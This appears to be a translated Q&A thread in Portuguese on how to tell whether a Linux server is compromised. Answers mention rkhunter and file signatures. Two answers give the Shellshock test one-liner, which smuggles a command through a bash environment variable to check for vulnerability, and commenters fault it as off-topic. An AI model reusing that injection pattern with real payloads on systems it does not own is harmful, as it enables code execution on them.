Existem algumas ferramentas que podem ajudar. Por exemplo, procure pacote rkhunter. Ele examinará seu computador em busca de kits de ferramentas raiz conhecidos e arquivos explorados.

Obviamente, essas ferramentas devem ter sido instaladas e configuradas antes do comprometimento do sistema, e essas ferramentas também podem ser direcionadas se o seu sistema for hackeado com sucesso para obter acesso root. Além disso, essas ferramentas podem ser muito intensivas e tornar seu sistema lento.

Alex F
fonte
2

A única maneira de saber se o seu servidor está comprometido é ter em algum lugar uma assinatura dos seus arquivos e compará-los. No entanto, você pode ver se você é vulnerável.

  1. você não pode. É razoável supor que, se sua máquina estiver realmente comprometida, suas ferramentas de monitoramento habituais (ps, top, lsof, ...) foram substituídas por ferramentas semelhantes, cuja saída parece normal, ocultando atividades suspeitas
  2. não. pode estar em qualquer pasta com arquivos executáveis.
  3. quaisquer arquivos ou scripts executáveis ​​(binário ELF, script .shell, ...), incluindo as ferramentas de monitoramento usuais
Manu H
fonte
-3

Como descobrir se sua caixa Linux está comprometida.

env x='() { :;}; echo vulnerable' bash -c "echo this is a test"

Se se retornar

vulnerable
this is a test

tu es.

Para executar a atualização, em root, execute o seguinte comando

sudo yum update bash
PJunior
fonte
16
-1 Verifica se o bash está vulnerável e não se realmente foi comprometido.
Calimo 29/09
11
Ele também assume que você está executando yume não outro gerenciador de pacotes.
#
-3

Você pode verificar se está vulnerável executando os seguintes comandos (código fornecido pelo CSA). Abra uma janela do terminal e digite o seguinte comando no prompt $:

$ env x='() { :;}; echo vulnerable' bash -c "echo this is a test"

Se o seu bash NÃO estiver atualizado, será impresso:

vulnerable
this is a test

Se o seu bash estiver atualizado, você verá apenas:

this is a test

Mais detalhes estão disponíveis por trás deste link .

Manu Somaraj
fonte
11
A pergunta foi sobre como detectar que um servidor foi comprometido , não que seja vulnerável
Gareth
considere a leitura de outras respostas antes de postar uma muito semelhante a uma resposta cuja pontuação é baixa porque NÃO responde à pergunta.
Manu H